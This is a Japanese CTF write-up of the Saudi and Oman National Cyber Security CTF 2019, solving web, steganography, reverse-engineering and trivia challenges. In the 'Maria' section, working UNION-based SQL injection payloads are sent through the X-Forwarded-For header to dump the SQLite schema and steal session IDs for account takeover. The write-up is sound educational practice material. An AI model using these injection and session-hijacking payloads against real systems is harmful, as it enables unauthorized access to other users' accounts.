Saudi and Oman National Cyber Security CTF 2019に参加したおはなし

はじめに

久々にオンラインCTFに参加したので備忘録として解けた問題のみ, writeupをのこします. その他のwriteupは以下にまとまっていると思うので,気になる方はそちらもご覧ください.

ctftime.org

目次

Back to basics (easy,50,Web Security)

Points

not pretty much many options. No need to open a link from a browser, there is always a different way

http://35.197.254.240/backtobasics

解法

普通にブラウザでアクセスすると,https://www.google.com/にリダイレクトされてしまう. 問題文どおりcURLでアクセスしてみると,

$ curl http://35.197.254.240/backtobasics/

<script> document.location = "http://www.google.com"; </script>

案の定,document.locationGoogleにリダイレクトしていることがわかる. 下記コマンドでヘッダを確認すると,

$ curl --head http://35.197.254.240/backtobasics/
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 08 Feb 2019 17:30:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Allow: GET, POST, HEAD,OPTIONS

Allow:にGET以外のメソッドがあることを発見. そこで,POSTメソッドでアクセスしてみると,

$ curl -X POST http://35.197.254.240/backtobasics/
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->

という,ちょっと難読化されたJavaScriptが返ってくる. 少し見やすく,変数名も整えてみると,

var items=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];
function reverse(rev_arg){
  flag= rev_arg[items[3]](items[0])[items[2]]()[items[1]](items[0])
}
console[items[4]]= reverse;
console[items[4]](items[5])

となる. これを適当なブラウザの開発者ツール(F12かCommand+option+i)でコンソールを開いてコピペすると,flagが得られる.

ちなみに,処理内容としては,単純にitemsの5番目の文字列を逆順に変換しているだけなので,Python

>>> "ceab068d9522dc567177de8009f323b2"[::-1]
'2b323f9008ed771765cd2259d860baec'

とするだけでもflagが得られる.

Flag

2b323f9008ed771765cd2259d860baec

Hack a nice day (medium,100,Digital Forensics)

Points

can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}

https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/info.jpg

解法

このようなJPGファイルが与えられる. 下記のようにfileコマンドで確認しても,ただのJPG.

$ file info.jpg 
info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3

つぎにexiftoolで見てみると,なにやらCommentが付与されている.

$ exiftool info.jpg 
ExifTool Version Number         : 10.32
File Name                       : info.jpg
Directory                       : .
File Size                       : 5.5 kB
File Modification Date/Time     : 2019:02:08 15:58:56+09:00
File Access Date/Time           : 2019:02:09 18:20:15+09:00
File Inode Change Date/Time     : 2019:02:08 15:58:56+09:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : badisbad
Image Width                     : 194
Image Height                    : 259
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 194x259
Megapixels                      : 0.050

これがflagか?と思ったが,違った. ここからLSBビットやら赤色ビット抽出やら,いろいろ試すもののうまくいかず. 最終的にjpgだしなんか変なコメントあるし,steghide使えばなんかわかるのでは?ということで,調査. はい出ました. passphraseにbadisbadを入力するとflaggg.txtが埋め込まれていることが確認できた.

$ steghide info info.jpg 
"info.jpg":
  format: jpeg
  capacity: 300.0 Byte
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "flaggg.txt":
    size: 21.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

というわけで,こいつを下記のように抽出する.

$ steghide --extract -sf info.jpg -p badisbad -xf flaggg.txt
wrote extracted data to "flaggg.txt".
$ cat flaggg.txt
flag{Stegn0_1s_n!ce}

steghideは経験則ゲーすぎる...?(問題的にどうsteghideに持って行こうとしていたんだろう...)

Flag

flag{Stegn0_1s_n!ce}

I love images (easy,50,Digital Forensics)

Points

A hacker left us something that allows us to track him in this image, can you find it?

https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/godot.png

解法

このようなPNGファイルが与えられる. 下記のようにfileコマンドで確認しても,ただのPNG.

$ file godot.png 
godot.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced

つぎにexiftoolで見てみると,下から3行目でWarningが出ている.

$ exiftool godot.png 
ExifTool Version Number         : 10.32
File Name                       : godot.png
Directory                       : .
File Size                       : 3.5 kB
File Modification Date/Time     : 2019:02:08 16:11:18+09:00
File Access Date/Time           : 2019:02:09 03:00:56+09:00
File Inode Change Date/Time     : 2019:02:08 16:11:23+09:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 64
Image Height                    : 64
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 64x64
Megapixels                      : 0.004

PNGのIENDチャンク以降になんかデータがくっついてるよ,とのこと. stringsコマンドで確認してみると,確かになんかくっついてる.

$ strings godot.png
...
pDuF(
op+P
q}'ZA0
O-T&
IEND
IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======

なんか=いっぱいついてるし,Base64の亜種かな?ということで,CyberChefを使って,Base32でデコードしたらflagが得られた.

Flag

FLAG{Not_Only_Base64}

I love this guy (medium,100,Malware Reverse Engineering)

Points

Can you find the password to obtain the flag?

https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/ScrambledEgg.exe

解法

ScrambledEgg.exeという実行ファイルが渡される.

$ file ScrambledEgg.exe 
ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Mono/.Net assemblyということなので,ILSpyを使ってデコンパイルしてみる. すると,下記のようなプロラグムをみることができる.

流れは全部読んでいないけど,なんかLetters[なんちゃら]をたくさん繰り返しているところが怪しいので,そこをコピペして,次のようなPythonスクリプトを動かしてみる.

if __name__ == '__main__':
  Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_"
  flag = "".join([
    Letters[5],
    Letters[11],
    Letters[0],
    Letters[6],
    Letters[26],
    Letters[8],
    Letters[28],
    Letters[11],
    Letters[14],
    Letters[21],
    Letters[4],
    Letters[28],
    Letters[5],
    Letters[14],
    Letters[13],
    Letters[25],
    Letters[24],
    Letters[27]
  ])
  print(flag)
$ python solve.py 
FLAG{I_LOVE_FONZY}

Flag

FLAG{I_LOVE_FONZY}

Just Another Conference (easy,50,General Information)

Points

famous Cybersecurity conference runs by OWASP in different locations

解法

OWASPによっていろんなところで開かれる有名なサイバーセキュリティのカンファレンスということで,OWASP conferenceググると一発で出てくる.

Flag

AppSec

Maria (hard,200,Web Security)

Points

Maria is the only person who can view the flag

http://35.222.174.178/maria/

解法

Mariaというユーザだけflagを閲覧できるらしい. とりあえず,アクセスしてみるとこんな画面が表示される.

レスポンスを見てみると,13行目にSQLっぽいもの(SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX')を発見(XXX.XXX.XXX.XXXには筆者宅のIPアドレスが記載されている).

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 08 Feb 2019 18:30:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=6fr151tpi624c0bcqh5ktvmao6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Content-Length: 2141

SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
...

たぶんXXX.XXX.XXX.XXX(自宅のIPアドレス)のところを操作してSQLインジェクションするんだろうなあという目星をつける. IPアドレスの部分を偽装したいなあと考えた時に,どういう風にIPアドレスを受け取るかを調べたところ,X-Forwarded-Forというヘッダの値で受け取れるらしい.

ということで,これからX-Forwarded-Forヘッダの値を変えてリクエストしまくるので,BurpSuiteでリクエストをRepeaterで何度も送れるようにする. ※リクエストを右クリックして,画像の通りSend to Repeaterをクリックすれば,上にあるRepeaterタブがオレンジ色に光るのでRepeaterタブをクリックする.

※↓Repeaterタブ↓※

Repeaterタブが開けたら,とりあえずRequest画面にX-Forwarded-For: 8.8.8.8を追加して,GoボタンをクリックしてResponse画面をみると,ちゃんと偽装できていることがわかる. ※8.8.8.8のあと(リクエストの最終行)に2行分の改行が入っていないと,うまくリクエストを投げられないので,リクエストがなかなか返ってこないときはちゃんと2行分の改行が入っているかを確認する.

ここで,この問題の最終目標は何かを考えてみると,問題文からして,Mariaというユーザになりすまして,なんとかflagを閲覧すること,なのでひとまずデータベースからMariaというユーザの情報を探し出すことを目標とする. 現在わかっていることとしては,SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'というSQLから,nxf8_sessionsテーブルにip_addressというカラムがあること,である.

とりあえず,nxf8_sessionsテーブルの情報を探していくために,SELECT *でいくつのカラムを参照しているのかを,UNION句で探していく. 手始めに,union 1;--としてみると,下記のように左のSELECT文とカラムの数が違うよ!というエラーが返される.

リクエスト:
    X-Forwarded-For: ' union select 1;--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1;--'
エラー出力:
    Error : HY000 1 SELECTs to the left and right of UNION do not have the same number of result columns

ということで,エラーが出なくなるまで,1を付け足していくと,4つめでエラーが出なくなったので,nxf8_sessionsテーブルは,4つのカラムを持つということがわかった.

リクエスト:
    X-Forwarded-For: ' union select 1,1,1,1;--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,1;--'

ここで偶然にもPHPSESSID=の値にUNION句の最後のカラムの値がセットされることに気づいた(さっきまでdeletedだったのが,UNION句によって1になっていた). 例えば,下記のようなリクエストを送ると,下記のような値が返ってくる.

リクエスト:
    X-Forwarded-For: ' union select 1,1,1,"test";--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,"test";--'
PHPSESSID値:
    Set-Cookie: PHPSESSID=test; expires=Fri, 08-Feb-2019 20:08:55 GMT;

このことを利用して,UNION句のSELECT文で指定する4つめのカラムに欲しい情報を流し込むようにしていく. とりあえず,nxf8_sessionsテーブルが4つのカラムを持っていることと,任意の値を出力できること,が確認できた. また,エラー文からして今回の問題では,SQLiteを使っているようなので,sqlite_masterテーブルにテーブル情報などが格納されていることから,次のようなSQL文でnxf8_sessionテーブルの情報を一気に抜き出す.

リクエスト:
    X-Forwarded-For: ' union select 1,1,1,sql from sqlite_master where tbl_name='nxf8_sessions';--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,sql from sqlite_master where tbl_name='nxf8_sessions';--'
PHPSESSID値:
    PHPSESSID=CREATE+TABLE+%22nxf8_sessions%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22user_id%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22ip_address%22+varchar%28255%29+NOT+NULL%2C%0A++++++++++++%22session_id%22+varchar%28255%29++NOT+NULL%0A++++++++%29; expires=Fri, 08-Feb-2019 20:12:18 GMT; Max-Age=3600

URLエンコーディングされた結果をデコードすると下記の通りとなる. このことから,ntf8_sessionsテーブルには,id,user_id,ip_address,session_idの4つのカラムが存在していることがわかった. このことを先ほどわかったことと併せると,4つめのsession_idがそのまま,PHPSESSID=の値に代入されていると予測できる.

CREATE TABLE "nxf8_sessions" (
            "id" int(10) NOT NULL,
            "user_id" varchar(255)  NOT NULL,
            "ip_address" varchar(255) NOT NULL,
            "session_id" varchar(255)  NOT NULL
        )

ntf8_sessionsテーブルのカラムがわかったので,最後に次のようなSQL文のwhere id =の部分を変えて有効なsession_idを探していく. はじめに0を入れてみると,PHPSESSID値はdeletedとなっており,有効でない.

リクエスト:
    X-Forwarded-For: ' union select 1,1,1,session_id from nxf8_sessions where id = 0;--
実行されたSQL:
    SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,session_id from nxf8_sessions where id = 0;--'
PHPSESSID値:
    Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

値を変えていくと,id = 1,2,3のとき,それぞれ有効なPHPSESSIDが返ってきた. そのうち,id = 2で返ってきたfd2030b53fc9a4f01e6dbe551db7ded390461968Cookieにセットしたところ,flagが得られた.

Flag

aj9dhAdf4

おわりに

まったり解けたので楽しかった. 点数配分が微妙で, 200点より100点の方が難しかった. Saudi CTFとOman CTFもOnlineで出れるなら出たい.